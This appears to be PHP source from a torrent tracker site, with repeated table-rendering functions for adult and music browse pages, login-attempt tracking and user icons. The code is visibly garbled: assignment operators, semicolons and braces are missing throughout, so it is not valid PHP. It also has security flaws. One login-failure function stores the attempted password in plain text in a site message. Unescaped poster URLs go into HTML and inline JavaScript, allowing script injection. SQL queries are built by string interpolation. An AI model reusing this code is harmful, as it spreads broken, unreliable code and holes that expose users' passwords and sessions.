$count_get++; 



if (
$count_get 0) { 
$oldlink $oldlink "&"


if (
$_GET['sort'] == "1") { 
if (
$_GET['type'] == "desc") { 
$link1 "asc"
} else { 
$link1 "desc"


if (
$_GET['sort'] == "2") { 
if (
$_GET['type'] == "desc") { 
$link2 "asc"
} else { 
$link2 "desc"


if (
$_GET['sort'] == "3") { 
if (
$_GET['type'] == "desc") { 
$link3 "asc"
} else { 
$link3 "desc"


if (
$_GET['sort'] == "4") { 
if (
$_GET['type'] == "desc") { 
$link4 "asc"
} else { 
$link4 "desc"


if (
$_GET['sort'] == "5") { 
if (
$_GET['type'] == "desc") { 
$link5 "asc"
} else { 
$link5 "desc"


if (
$_GET['sort'] == "6") { 
if (
$_GET['type'] == "desc") { 
$link6 "asc"
} else { 
$link6 "desc"


if (
$_GET['sort'] == "7") { 
if (
$_GET['type'] == "desc") { 
$link7 "asc"
} else { 
$link7 "desc"


if (
$_GET['sort'] == "8") { 
if (
$_GET['type'] == "desc") { 
$link8 "asc"
} else { 
$link8 "desc"


if (
$_GET['sort'] == "9") { 
if (
$_GET['type'] == "desc") { 
$link9 "asc"
} else { 
$link9 "desc"


if (
$_GET['sort'] == "10") { 
if (
$_GET['type'] == "desc") { 
$link10 "asc"
} else { 
$link10 "desc"


if (
$_GET['sort'] == "11") { 
if (
$_GET['type'] == "desc") { 
$link11 "asc"
} else { 
$link11 "desc"



if (
$link1 == "") { $link1 "desc"; } // for torrent name 
if ($link2 == "") { $link2 "desc"; } 
if (
$link3 == "") { $link3 "desc"; } 
if (
$link4 == "") { $link4 "desc"; } 
if (
$link5 == "") { $link5 "desc"; } 
if (
$link6 == "") { $link6 "desc"; } 
if (
$link7 == "") { $link7 "desc"; } 
if (
$link8 == "") { $link8 "desc"; } 
if (
$link9 == "") { $link9 "desc"; } 
if (
$link10 == "") { $link10 "asc"; } 
if (
$link11 == "") { $link11 "desc"; } 
?> 
<td class="colhead" align="center" width="1%"><a href="browseadult.php?<? print $oldlink?>sort=10&type=<? print $link10?>">Type</a></td> 
<td class="colhead" align="left"><a href="browseadult.php?<? print $oldlink?>sort=1&type=<? print $link1?>">Name</a></td> 
<? 
        
if ($wait
        { 
                print(
"<td class=\"colhead\" align=\"center\"><img src=/pic/warned0.gif border=none alt=Wait></td>\n"); 
        } 

        if (
$variant == "mytorrents"
  { 
          print(
"<td class=\"colhead\" align=\"center\">Edit</td>\n"); 
    print(
"<td class=\"colhead\" align=\"center\">Visible</td>\n"); 
        } 

?> 
<td class="colhead" align="center"><a href="browseadult.php?<? print $oldlink?>sort=2&type=<? print $link2?>">Files</a></td> 
<td class="colhead" align="center"><a href="browseadult.php?<? print $oldlink?>sort=3&type=<? print $link3?>">Comm.</a></td> 
<td class="colhead" align="center"><a href="browseadult.php?<? print $oldlink?>sort=4&type=<? print $link4?>">Added</a></td> 
<td class="colhead" align="center"><a href="browseadult.php?<? print $oldlink?>sort=5&type=<? print $link5?>">Size</a></td> 
<td class="colhead" align="center"><a href="browseadult.php?<? print $oldlink?>sort=6&type=<? print $link6?>"><img src=pic/top.gif border=0 /></a></td> 
<td class="colhead" align="center"><a href="browseadult.php?<? print $oldlink?>sort=7&type=<? print $link7?>"><img src=pic/arrowup.gif border=0 /></a></td> 
<td class="colhead" align="center"><a href="browseadult.php?<? print $oldlink?>sort=8&type=<? print $link8?>"><img src=pic/arrowdown.gif border=0 /></a></td> 
<? 
                    
if (get_user_class() >= UC_MODERATOR
        if (
$variant == "index"
        print(
"<td class=\"colhead\" align=\"center\"><a href=\"browseadult.php?{$oldlink}sort=9&type={$link9}\">Upped&nbsp;by</a></td>\n"); 

    print(
"</tr>\n"); 

    while (
$row mysql_fetch_assoc($res)) { 

if (
get_user_class() >= UC_MODERATOR) { 
if (
$variant == "index"
    
$colspan 10
elseif (
$variant == "mytorrents"
    
$colspan 11

else { 
if (
$variant == "index"
    
$colspan 9
elseif (
$variant == "mytorrents"
    
$colspan 11


$day_added $row['added']; 
$day_show strtotime($day_added) + (($CURUSER["timezone"] + $CURUSER["dst"]) * 60); 
$thisdate date('Y-m-d',$day_show); 

if(
$thisdate==$prevdate){ 
$cleandate ''

}else{ 
$day_added ' '.date('l j-M-Y'strtotime($row['added']) + (($CURUSER["timezone"] + $CURUSER["dst"]) * 60)); // You can change this to something else 
$cleandate "<tr><td colspan=$colspan><b>$day_added</b></td></tr>\n"// This also... 

$prevdate $thisdate

$man = array( 
    
'Jan' => 'January'
    
'Feb' => 'February'
    
'Mar' => 'March'
    
'Apr' => 'April'
    
'May' => 'May'
    
'Jun' => 'June'
    
'Jul' => 'July'
    
'Aug' => 'August'
    
'Sep' => 'September'
    
'Oct' => 'October'
    
'Nov' => 'November'
    
'Dec' => 'December' 
); 
foreach(
$man as $eng => $ger){ 
    
$cleandate str_replace($eng$ger,$cleandate); 

$dag = array( 
    
'Mon' => 'Monday'
    
'Tues' => 'Tuesday'
    
'Wednes' => 'Wednesday'
    
'Thurs' => 'Thursday'
    
'Fri' => 'Friday'
    
'Satur' => 'Saturday'
    
'Sun' => 'Sunday' 
); 

foreach(
$dag as $eng => $ger){ 
    
$cleandate str_replace($eng.'day'$ger.'',$cleandate); 

if (
$row["sticky"] == "no"// delete this line if you dont have sticky torrents or you want to display the addate for them also 
if(!$_GET['sort'] && !$_GET['d']){ 
echo 
$cleandate."\n"

        
$id $row["id"]; 
         
        if (
$row["sticky"] == "yes"){ 
        print(
"<tr class=\"sticky\">\n"); 
        } else { 
        print(
"<tr class=\"browse\">\n"); 
        } 

        print(
"<td align=center width=42 height=42 style='padding: 0px'>"); 
        if (isset(
$row["cat_name"])) { 
            print(
"<a href=\"browseadult.php?cat=" $row["category"] . "\">"); 
            if (isset(
$row["cat_pic"]) && $row["cat_pic"] != ""
                print(
"<img border=\"0\" src=\"pic/cate.gif\" class=\"cate".$row["category"]."\" alt=\"" $row["cat_name"] . "\" />"); 
            else 
                print(
$row["cat_name"]); 
            print(
"</a>"); 
        } 
        else 
            print(
"-"); 
        print(
"</td>\n"); 

        
$dispname htmlspecialchars($row["name"]); 
        
$nos_garums=strlen($dispname); 
        
$nos_pielaujamais="70"// maximum lenght 
        
if($nos_garums $nos_pielaujamais){ 
        
$nos_alt="title=\"$dispname \""
        
$dispname=substr($dispname0$nos_pielaujamais) . "..."
        } 
        
$dispname str_replace(array(" ",","),".",$dispname); 
        
$request = ($row[request]=="yes" "&nbsp;<img src='pic/request.gif' align='right' title='Request' alt='Request' />" ""); 
        
$res2 mysql_query("SELECT torrents.poster FROM torrents WHERE torrents.id = $id") or sqlerr(); 
        
$row2 mysql_fetch_row($res2); 
        if (!empty(
$row2["0"])){ 
    
$poster $row2[0]; 
            
$poster3 "<img src=$poster width=160 />"
         } 
         else 
            
$poster3 ""
          
        if (!empty(
$row['description'])) { 
        
$description "Genre:&nbsp;" htmlspecialchars($row["description"]) . ""
        } 
        else { 
        
$description ""
        } 
        
$char 55//Max long... 
        
print("<td align=left><a href=\"details.php?"); 
        if (
$variant == "mytorrents"
        print(
"returnto=" urlencode($_SERVER["REQUEST_URI"]) . "&amp;"); 
        print(
"id=$id"); 
        if (
$variant == "index"
        print(
"&amp;hit=1"); 

        
//$thisisfree = ($row[free]=="yes" ? "<div style=\"float:right;vertical-align:bottom\"> <img src=pic/freedownload.gif></div>" : ""); 
        
$thisisfree = ($row[free]=="yes" "&nbsp;<img src='pic/freedownload.gif' align='right' title='Free' alt='Free' />" ""); 
        
$nuked = ($row[nuked]=="yes" "&nbsp;<img src='pic/nuked.gif' align='right' title='Nuked' alt='Nuked' />" ""); 
        if (
sql_timestamp_to_unix_timestamp($row["added"]) >= $last_browsex

              print(
"\" onmouseover=\"{overlib('$poster3', VAUTO, WIDTH, 0, DELAY, 0);}\" onmouseout=\"return nd();\"><b>$dispname</b></a><div style=\"float:right;vertical-align:bottom\">&nbsp;<img src=/pic/new.png border=none alt=NEW></div>$nuked $thisisfree $request<br>$description\n"); 
          else 
              print(
"\" onmouseover=\"{overlib('$poster3', VAUTO, WIDTH, 0, DELAY, 0);}\" onmouseout=\"return nd();\"><b>$dispname</b></a>$nuked $thisisfree $request<br>$description\n"); 

                                if (
$wait
                                { 
                                  
$elapsed floor((gmtime() - strtotime($row["added"])) / 3600); 
                if (
$elapsed $wait
                { 
                  
$color dechex(floor(127*($wait $elapsed)/48 128)*65536); 
                  print(
"<td align=center><nobr><font color=\"$color\">" number_format($wait $elapsed) . " h</font></a></nobr></td>\n"); 
                } 
                else 
                  print(
"<td align=center><nobr>None</nobr></td>\n"); 
        } 
        if (
$row["nfoav"] && get_user_class() >= UC_POWER_USER
          print(
"&nbsp;&nbsp;<a href=viewnfo.php?id=$row[id]><img src='pic/viewnfo.gif' border='0' alt='View NFO' /></a>\n"); 
        if (
$variant == "index"
            print(
"<a href=\"download.php/$id/" rawurlencode($row["filename"]) . "\"><img src='pic/download.gif' border='0' alt='Download' /></a>\n"); 
        elseif (
$variant == "mytorrents"
            print(
"<td align=\"center\"><a href=\"edit.php?returnto=" urlencode($_SERVER["REQUEST_URI"]) . "&amp;id=" $row["id"] . "\">edit</a>\n"); 
print(
"</td>\n"); 
        if (
$variant == "mytorrents") { 
            print(
"<td align=\"right\">"); 
            if (
$row["visible"] == "no"
                print(
"<b>no</b>"); 
            else 
                print(
"yes"); 
            print(
"</td>\n"); 
        } 
        if (
$row["type"] == "single"
            print(
"<td align=\"right\">" $row["numfiles"] . "</td>\n"); 
        else { 
            if (
$variant == "index"
                print(
"<td align=\"right\"><b><a href=\"details.php?id=$id&amp;hit=1&amp;filelist=1\">" $row["numfiles"] . "</a></b></td>\n"); 
            else 
                print(
"<td align=\"right\"><b><a href=\"details.php?id=$id&amp;filelist=1#filelist\">" $row["numfiles"] . "</a></b></td>\n"); 
        } 
        if (!
$row["comments"]) 
            print(
"<td align=\"right\">" $row["comments"] . "</td>\n"); 
        else { 
            if (
$variant == "index"
                print(
"<td align=\"right\"><b><a href=\"details.php?id=$id&amp;hit=1&amp;tocomm=1\">" $row["comments"] . "</a></b></td>\n"); 
            else 
                print(
"<td align=\"right\"><b><a href=\"details.php?id=$id&amp;page=0#startcomments\">" $row["comments"] . "</a></b></td>\n"); 
        } 
        print(
"<td align=center><nobr>" str_replace(" ""<br />"display_date_time($row["added"])) . "</nobr></td>\n"); 
        print(
"<td align=center>" str_replace(" ""<br>"mksize($row["size"])) . "</td>\n"); 
        
$_s ""
        if (
$row["times_completed"] != 1
          
$_s "s"
        print(
"<td align=center>" number_format($row["times_completed"]) . "<br>time$_s</td>\n"); 

        if (
$row["seeders"]) { 
            if (
$variant == "index"
            { 
               if (
$row["leechers"]) $ratio $row["seeders"] / $row["leechers"]; else $ratio 1
                print(
"<td align=right><b><a href=details.php?id=$id&amp;hit=1&amp;toseeders=1><font color=" 
                  
get_slr_color($ratio) . ">" $row["seeders"] . "</font></a></b></td>\n"); 
            } 
            else 
                print(
"<td align=\"right\"><b><a class=\"" linkcolor($row["seeders"]) . "\" href=\"details.php?id=$id&amp;dllist=1#seeders\">" 
                  
$row["seeders"] . "</a></b></td>\n"); 
        } 
        else 
            print(
"<td align=\"right\"><span class=\"" linkcolor($row["seeders"]) . "\">" $row["seeders"] . "</span></td>\n"); 
        if (
$row["leechers"]) { 
            if (
$variant == "index"
                print(
"<td align=right><b><a href=details.php?id=$id&amp;hit=1&amp;todlers=1>" 
                   
number_format($row["leechers"]) . ($peerlink "</a>" "") . 
                   
"</b></td>\n"); 
            else 
                print(
"<td align=\"right\"><b><a class=\"" linkcolor($row["leechers"]) . "\" href=\"details.php?id=$id&amp;dllist=1#leechers\">" 
                  
$row["leechers"] . "</a></b></td>\n"); 
        } 
        else 
            print(
"<td align=\"right\">0</td>\n"); 
                    if (
get_user_class() >= UC_MODERATOR
        if (
$variant == "index"
            print(
"<td align=center>" . (isset($row["username"]) ? ("<a href=userdetails.php?id=" $row["owner"] . "><b>" htmlspecialchars($row["username"]) . "</b></a>") : "<i>(unknown)</i>") . "</td>\n"); 
         
        print(
"</tr>\n"); 
    } 
    print(
"</table>\n"); 
     
    return 
$rows


function 
torrenttablem($res$variant "index") { 
        global 
$pic_base_url$CURUSER

        
$last_browsem $CURUSER['last_browsem']; 

        
$time_now gmtime(); 

        if (
$last_browsem $time_now) { 

         
$last_browsem=$time_now


          
$wait 0
?> 
<table border="1" width="880" cellspacing="0" cellpadding="5"> 
<tr> 
<? 
$count_get 
0

foreach (
$_GET as $get_name => $get_value) { 

$get_name mysql_escape_string(strip_tags(str_replace(array("\"","'"),array("",""),$get_name))); 

$get_value mysql_escape_string(strip_tags(str_replace(array("\"","'"),array("",""),$get_value))); 

$get_name mysql_escape_string(strip_tags(str_replace(array("\"","'"),array("",""),$get_name))); 

$get_value mysql_escape_string(strip_tags(str_replace(array("\"","'"),array("",""),$get_value))); 

if (
$get_name != "sort" && $get_name != "type") { 
if (
$count_get 0) { 
$oldlink $oldlink "&" $get_name "=" $get_value
} else { 
$oldlink $oldlink $get_name "=" $get_value

$count_get++; 



if (
$count_get 0) { 
$oldlink $oldlink "&"


if (
$_GET['sort'] == "1") { 
if (
$_GET['type'] == "desc") { 
$link1 "asc"
} else { 
$link1 "desc"


if (
$_GET['sort'] == "2") { 
if (
$_GET['type'] == "desc") { 
$link2 "asc"
} else { 
$link2 "desc"


if (
$_GET['sort'] == "3") { 
if (
$_GET['type'] == "desc") { 
$link3 "asc"
} else { 
$link3 "desc"


if (
$_GET['sort'] == "4") { 
if (
$_GET['type'] == "desc") { 
$link4 "asc"
} else { 
$link4 "desc"


if (
$_GET['sort'] == "5") { 
if (
$_GET['type'] == "desc") { 
$link5 "asc"
} else { 
$link5 "desc"


if (
$_GET['sort'] == "6") { 
if (
$_GET['type'] == "desc") { 
$link6 "asc"
} else { 
$link6 "desc"


if (
$_GET['sort'] == "7") { 
if (
$_GET['type'] == "desc") { 
$link7 "asc"
} else { 
$link7 "desc"


if (
$_GET['sort'] == "8") { 
if (
$_GET['type'] == "desc") { 
$link8 "asc"
} else { 
$link8 "desc"


if (
$_GET['sort'] == "9") { 
if (
$_GET['type'] == "desc") { 
$link9 "asc"
} else { 
$link9 "desc"


if (
$_GET['sort'] == "10") { 
if (
$_GET['type'] == "desc") { 
$link10 "asc"
} else { 
$link10 "desc"


if (
$_GET['sort'] == "11") { 
if (
$_GET['type'] == "desc") { 
$link11 "asc"
} else { 
$link11 "desc"



if (
$link1 == "") { $link1 "desc"; } // for torrent name 
if ($link2 == "") { $link2 "desc"; } 
if (
$link3 == "") { $link3 "desc"; } 
if (
$link4 == "") { $link4 "desc"; } 
if (
$link5 == "") { $link5 "desc"; } 
if (
$link6 == "") { $link6 "desc"; } 
if (
$link7 == "") { $link7 "desc"; } 
if (
$link8 == "") { $link8 "desc"; } 
if (
$link9 == "") { $link9 "desc"; } 
if (
$link10 == "") { $link10 "asc"; } 
if (
$link11 == "") { $link11 "desc"; } 
?> 
<td class="colhead" align="center" width="1%"><a href="browsemusic.php?<? print $oldlink?>sort=10&type=<? print $link10?>">Type</a></td> 
<td class="colhead" align="left"><a href="browsemusic.php?<? print $oldlink?>sort=1&type=<? print $link1?>">Name</a></td> 
<? 
        
if ($wait
        { 
                print(
"<td class=\"colhead\" align=\"center\"><img src=/pic/warned0.gif border=none alt=Wait></td>\n"); 
        } 

        if (
$variant == "mytorrents"
  { 
          print(
"<td class=\"colhead\" align=\"center\">Edit</td>\n"); 
    print(
"<td class=\"colhead\" align=\"center\">Visible</td>\n"); 
        } 

?> 
<td class="colhead" align="center"><a href="browsemusic.php?<? print $oldlink?>sort=2&type=<? print $link2?>">Files</a></td> 
<td class="colhead" align="center"><a href="browsemusic.php?<? print $oldlink?>sort=3&type=<? print $link3?>">Comm.</a></td> 
<td class="colhead" align="center"><a href="browsemusic.php?<? print $oldlink?>sort=4&type=<? print $link4?>">Added</a></td> 
<td class="colhead" align="center"><a href="browsemusic.php?<? print $oldlink?>sort=5&type=<? print $link5?>">Size</a></td> 
<td class="colhead" align="center"><a href="browsemusic.php?<? print $oldlink?>sort=6&type=<? print $link6?>"><img src=pic/top.gif border=0 /></a></td> 
<td class="colhead" align="center"><a href="browsemusic.php?<? print $oldlink?>sort=7&type=<? print $link7?>"><img src=pic/arrowup.gif border=0 /></a></td> 
<td class="colhead" align="center"><a href="browsemusic.php?<? print $oldlink?>sort=8&type=<? print $link8?>"><img src=pic/arrowdown.gif border=0 /></a></td> 
<? 
                    
if (get_user_class() >= UC_MODERATOR
        if (
$variant == "index"
        print(
"<td class=\"colhead\" align=\"center\"><a href=\"browsemusic.php?{$oldlink}sort=9&type={$link9}\">Upped&nbsp;by</a></td>\n"); 

    print(
"</tr>\n"); 

    while (
$row mysql_fetch_assoc($res)) { 

if (
get_user_class() >= UC_MODERATOR) { 
if (
$variant == "index"
    
$colspan 10
elseif (
$variant == "mytorrents"
    
$colspan 11

else { 
if (
$variant == "index"
    
$colspan 9
elseif (
$variant == "mytorrents"
    
$colspan 11


$day_added $row['added']; 
$day_show strtotime($day_added) + (($CURUSER["timezone"] + $CURUSER["dst"]) * 60); 
$thisdate date('Y-m-d',$day_show); 

if(
$thisdate==$prevdate){ 
$cleandate ''

}else{ 
$day_added ' '.date('l j-M-Y'strtotime($row['added']) + (($CURUSER["timezone"] + $CURUSER["dst"]) * 60)); // You can change this to something else 
$cleandate "<tr><td colspan=$colspan><b>$day_added</b></td></tr>\n"// This also... 

$prevdate $thisdate

$man = array( 
    
'Jan' => 'January'
    
'Feb' => 'February'
    
'Mar' => 'March'
    
'Apr' => 'April'
    
'May' => 'May'
    
'Jun' => 'June'
    
'Jul' => 'July'
    
'Aug' => 'August'
    
'Sep' => 'September'
    
'Oct' => 'October'
    
'Nov' => 'November'
    
'Dec' => 'December' 
); 
foreach(
$man as $eng => $ger){ 
    
$cleandate str_replace($eng$ger,$cleandate); 

$dag = array( 
    
'Mon' => 'Monday'
    
'Tues' => 'Tuesday'
    
'Wednes' => 'Wednesday'
    
'Thurs' => 'Thursday'
    
'Fri' => 'Friday'
    
'Satur' => 'Saturday'
    
'Sun' => 'Sunday' 
); 

foreach(
$dag as $eng => $ger){ 
    
$cleandate str_replace($eng.'day'$ger.'',$cleandate); 

if (
$row["sticky"] == "no"// delete this line if you dont have sticky torrents or you want to display the addate for them also 
if(!$_GET['sort'] && !$_GET['d']){ 
echo 
$cleandate."\n"

        
$id $row["id"]; 
         
        if (
$row["sticky"] == "yes"){ 
        print(
"<tr class=\"sticky\">\n"); 
        } else { 
        print(
"<tr class=\"browse\">\n"); 
        } 
        print(
"<td align=center width=42 height=42 style='padding: 0px'>"); 
        if (isset(
$row["cat_name"])) { 
            print(
"<a href=\"browsemusic.php?cat=" $row["category"] . "\">"); 
            if (isset(
$row["cat_pic"]) && $row["cat_pic"] != ""
                print(
"<img border=\"0\" src=\"pic/cate.gif\" class=\"cate".$row["category"]."\" alt=\"" $row["cat_name"] . "\" />"); 
            else 
                print(
$row["cat_name"]); 
            print(
"</a>"); 
        } 
        else 
            print(
"-"); 
        print(
"</td>\n"); 

        
$dispname htmlspecialchars($row["name"]); 
        
$nos_garums=strlen($dispname); 
        
$nos_pielaujamais="70"// maximum lenght 
        
if($nos_garums $nos_pielaujamais){ 
        
$nos_alt="title=\"$dispname \""
        
$dispname=substr($dispname0$nos_pielaujamais) . "..."
        } 
        
$dispname str_replace(array(" ",","),".",$dispname); 
        
$request = ($row[request]=="yes" "&nbsp;<img src='pic/request.gif' align='right' title='Request' alt='Request' />" ""); 
        
$res2 mysql_query("SELECT torrents.poster FROM torrents WHERE torrents.id = $id") or sqlerr(); 
        
$row2 mysql_fetch_row($res2); 
        if (!empty(
$row2["0"])){ 
    
$poster $row2[0]; 
            
$poster3 "<img src=$poster width=160 />"
         } 
         else 
            
$poster3 ""
          
        if (!empty(
$row['description'])) { 
        
$description "Genre:&nbsp;" htmlspecialchars($row["description"]) . ""
        } 
        else { 
        
$description ""
        } 
        
$char 55//Max long... 
        
print("<td align=left><a href=\"details.php?"); 
        if (
$variant == "mytorrents"
        print(
"returnto=" urlencode($_SERVER["REQUEST_URI"]) . "&amp;"); 
        print(
"id=$id"); 
        if (
$variant == "index"
        print(
"&amp;hit=1"); 

        
$thisisfree = ($row[free]=="yes" "&nbsp;<img src='pic/freedownload.gif' align='right' title='Free' alt='Free' />" ""); 
        
$nuked = ($row[nuked]=="yes" "&nbsp;<img src='pic/nuked.gif' align='right' title='Nuked' alt='Nuked' />" ""); 
        if (
sql_timestamp_to_unix_timestamp($row["added"]) >= $last_browsem

              print(
"\" onmouseover=\"{overlib('$poster3', VAUTO, WIDTH, 0, DELAY, 0);}\" onmouseout=\"return nd();\"><b>$dispname</b></a><div style=\"float:right;vertical-align:bottom\">&nbsp;<img src=/pic/new.png border=none alt=NEW></div>$nuked $thisisfree $request<br>$description\n"); 
          else 
              print(
"\" onmouseover=\"{overlib('$poster3', VAUTO, WIDTH, 0, DELAY, 0);}\" onmouseout=\"return nd();\"><b>$dispname</b></a>$nuked $thisisfree $request<br>$description\n"); 

                                if (
$wait
                                { 
                                  
$elapsed floor((gmtime() - strtotime($row["added"])) / 3600); 
                if (
$elapsed $wait
                { 
                  
$color dechex(floor(127*($wait $elapsed)/48 128)*65536); 
                  print(
"<td align=center><nobr><font color=\"$color\">" number_format($wait $elapsed) . " h</font></a></nobr></td>\n"); 
                } 
                else 
                  print(
"<td align=center><nobr>None</nobr></td>\n"); 
        } 
        if (
$row["nfoav"] && get_user_class() >= UC_POWER_USER
          print(
"&nbsp;&nbsp;<a href=viewnfo.php?id=$row[id]><img src='pic/viewnfo.gif' border='0' alt='View NFO' /></a>\n"); 
        if (
$variant == "index"
            print(
"<a href=\"download.php/$id/" rawurlencode($row["filename"]) . "\"><img src='pic/download.gif' border='0' alt='Download' /></a>\n"); 
        elseif (
$variant == "mytorrents"
            print(
"<td align=\"center\"><a href=\"edit.php?returnto=" urlencode($_SERVER["REQUEST_URI"]) . "&amp;id=" $row["id"] . "\">edit</a>\n"); 
print(
"</td>\n"); 
        if (
$variant == "mytorrents") { 
            print(
"<td align=\"right\">"); 
            if (
$row["visible"] == "no"
                print(
"<b>no</b>"); 
            else 
                print(
"yes"); 
            print(
"</td>\n"); 
        } 
        if (
$row["type"] == "single"
            print(
"<td align=\"right\">" $row["numfiles"] . "</td>\n"); 
        else { 
            if (
$variant == "index"
                print(
"<td align=\"right\"><b><a href=\"details.php?id=$id&amp;hit=1&amp;filelist=1\">" $row["numfiles"] . "</a></b></td>\n"); 
            else 
                print(
"<td align=\"right\"><b><a href=\"details.php?id=$id&amp;filelist=1#filelist\">" $row["numfiles"] . "</a></b></td>\n"); 
        } 
        if (!
$row["comments"]) 
            print(
"<td align=\"right\">" $row["comments"] . "</td>\n"); 
        else { 
            if (
$variant == "index"
                print(
"<td align=\"right\"><b><a href=\"details.php?id=$id&amp;hit=1&amp;tocomm=1\">" $row["comments"] . "</a></b></td>\n"); 
            else 
                print(
"<td align=\"right\"><b><a href=\"details.php?id=$id&amp;page=0#startcomments\">" $row["comments"] . "</a></b></td>\n"); 
        } 
        print(
"<td align=center><nobr>" str_replace(" ""<br />"display_date_time($row["added"])) . "</nobr></td>\n"); 
        print(
"<td align=center>" str_replace(" ""<br>"mksize($row["size"])) . "</td>\n"); 
        
$_s ""
        if (
$row["times_completed"] != 1
          
$_s "s"
        print(
"<td align=center>" number_format($row["times_completed"]) . "<br>time$_s</td>\n"); 

        if (
$row["seeders"]) { 
            if (
$variant == "index"
            { 
               if (
$row["leechers"]) $ratio $row["seeders"] / $row["leechers"]; else $ratio 1
                print(
"<td align=right><b><a href=details.php?id=$id&amp;hit=1&amp;toseeders=1><font color=" 
                  
get_slr_color($ratio) . ">" $row["seeders"] . "</font></a></b></td>\n"); 
            } 
            else 
                print(
"<td align=\"right\"><b><a class=\"" linkcolor($row["seeders"]) . "\" href=\"details.php?id=$id&amp;dllist=1#seeders\">" 
                  
$row["seeders"] . "</a></b></td>\n"); 
        } 
        else 
            print(
"<td align=\"right\"><span class=\"" linkcolor($row["seeders"]) . "\">" $row["seeders"] . "</span></td>\n"); 
        if (
$row["leechers"]) { 
            if (
$variant == "index"
                print(
"<td align=right><b><a href=details.php?id=$id&amp;hit=1&amp;todlers=1>" 
                   
number_format($row["leechers"]) . ($peerlink "</a>" "") . 
                   
"</b></td>\n"); 
            else 
                print(
"<td align=\"right\"><b><a class=\"" linkcolor($row["leechers"]) . "\" href=\"details.php?id=$id&amp;dllist=1#leechers\">" 
                  
$row["leechers"] . "</a></b></td>\n"); 
        } 
        else 
            print(
"<td align=\"right\">0</td>\n"); 
                    if (
get_user_class() >= UC_MODERATOR
        if (
$variant == "index"
            print(
"<td align=center>" . (isset($row["username"]) ? ("<a href=userdetails.php?id=" $row["owner"] . "><b>" htmlspecialchars($row["username"]) . "</b></a>") : "<i>(unknown)</i>") . "</td>\n"); 
         
        print(
"</tr>\n"); 
    } 
    print(
"</table>\n"); 
     
    return 
$rows


function 
hash_pad($hash) { 
    return 
str_pad($hash20); 


function 
hash_where($name$hash) { 
    
$shhash preg_replace('/ *$/s'""$hash); 
    return 
"($name = " sqlesc($hash) . " OR $name = " sqlesc($shhash) . ")"


function 
get_user_icons($arr$big false

        if (
$big
        { 
                
$donorpic "starbig.gif"
                
$warnedpic "warnedbig.gif"
                
$disabledpic "disabledbig.gif"
                
$style "style='margin-left: 4pt'"
        } 
        else 
        { 
                
$donorpic "star.gif"
                
$warnedpic "warned.gif"
                
$disabledpic "disabled.gif"
                
$style "style=\"margin-left: 2pt\""
        } 
        
$pics $arr["donor"] == "yes" "<img src=pic/$donorpic alt='Donor' border=0 $style>" ""
        if (
$arr["enabled"] == "yes"
                
$pics .= $arr["warned"] == "yes" "<img src=pic/$warnedpic alt=\"Warned\" border=0 $style>" ""
        else 
                
$pics .= "<img src=pic/$disabledpic alt=\"Disabled\" border=0 $style>\n"
        return 
$pics


function 
parked() 

       global 
$CURUSER
       if (
$CURUSER["parked"] == "yes"
 
stderr("Error""Your account is parked."); 


require 
"xxglobalxz.php"

//--------------------------------- 
//---- Login Attempts 
//--------------------------------- 

function failedloginscheck () { 
    global 
$maxloginattempts;     
    
$total 0
    
$ip sqlesc(getip()); 
    
$Query mysql_query("SELECT SUM(attempts) FROM loginattempts WHERE ip=$ip") or sqlerr(__FILE____LINE__); 
    list(
$total) = mysql_fetch_array($Query); 
    if (
$total >= $maxloginattempts) { 
            
mysql_query("UPDATE loginattempts SET banned = 'yes' WHERE ip=$ip") or sqlerr(__FILE____LINE__); 
            
stderr("Login Locked!""You have been <b>exceed maximum login attempts</b>, therefore your ip address <b>(".htmlspecialchars($ip).")</b> has been banned for <b>24</b> hours.");     
        } 

function 
failedlogins () {     
    
$ip sqlesc(getip()); 
    
$added sqlesc(get_date_time()); 
    
$a = (@mysql_fetch_row(@mysql_query("select count(*) from loginattempts where ip=$ip"))) or sqlerr(__FILE____LINE__); 
    if (
$a[0] == 0
        
mysql_query("INSERT INTO loginattempts (ip, added, attempts) VALUES ($ip$added, 1)") or sqlerr(__FILE____LINE__); 
    else 
        
mysql_query("UPDATE loginattempts SET attempts = attempts + 1 where ip=$ip") or sqlerr(__FILE____LINE__);         
         
    
stderr("Login failed!","<b>Error</b>: Username or password incorrect<br>Don't remember your password? <b><a href=recover.php>Recover</a></b> your password!"); 

function 
failedloginss ($text$to 2$password "") { 
    
$ip sqlesc(getip()); 
    
$ipp getip(); 
    
$added sqlesc(get_date_time()); 
    
$msg = ($to === 2)? "$text\n - $ipp"" "[b]Somebody[/b] (probably you!) tried to login but failed!. The [b]password[/b] they used was [b]".$password."[/b].\nTheir [b]ip address[/b] was: [b]"$ipp " (".  @gethostbyaddr($ipp) . ")[/b]\n If this wasn't you please report this event to a staff member.\nThank you.\n"
    
pulamea($to0$msg); 
    
$a = (@mysql_fetch_row(@mysql_query("select count(*) from loginattempts where ip=$ip"))) or sqlerr(__FILE____LINE__); 
    if (
$a[0] == 0
        
mysql_query("INSERT INTO loginattempts (ip, added, attempts) VALUES ($ip$added, 1)") or sqlerr(__FILE____LINE__); 
    else 
        
mysql_query("UPDATE loginattempts SET attempts = attempts + 1 where ip=$ip") or sqlerr(__FILE____LINE__);         
         
    
stderr("Login failed!","<b>Error</b>: Username or password incorrect<br>Don't remember your password? <b><a href=recover.php>Recover</a></b> your password!"); 

function 
pulamea($to$from$message){ 
  
$added sqlesc(get_date_time()); 
  
$sql "INSERT INTO messages (sender, receiver, added, msg, poster) VALUES('$from', '$to', $added, "sqlesc($message).", 0);"
  
$res mysql_query($sql) or sqlerr(__FILE____LINE__); 

function 
remaining () { 
    global 
$maxloginattempts;     
    
$total 0
    
$ip sqlesc(getip()); 
    
$Query mysql_query("SELECT SUM(attempts) FROM loginattempts WHERE ip=$ip") or sqlerr(__FILE____LINE__); 
    list(
$total) = mysql_fetch_array($Query); 
    
$remaining $maxloginattempts $total
    if (
$remaining <= 
        
$remaining "<font color=red size=4>".$remaining."</font>"
    else 
        
$remaining "<font color=green size=4>".$remaining."</font>"
         
    return 
$remaining


if (
$CURUSER
      { 
    
$res = @sql_query("SELECT polls.id,polls.added, pollanswers.userid,pollanswers.selection FROM polls  
                       LEFT JOIN pollanswers ON polls.id=pollanswers.pollid  AND pollanswers.userid="
.$CURUSER["id"].
                       ORDER BY polls.id DESC LIMIT 1 "
) or sqlerr(); 
    
$arr = @mysql_fetch_assoc($res); 
     if (empty(
$arr["userid"])) 
      { 
    print(
"<br><table border=0 cellspacing=0 cellpadding=10 bgcolor=green><tr><td style=\"background:#CC0000;color:#999999; padding:10px\">\n"); 
    print(
"<b><a href=/index.php#poll>New poll, please vote!</a></b>"); 
    print(
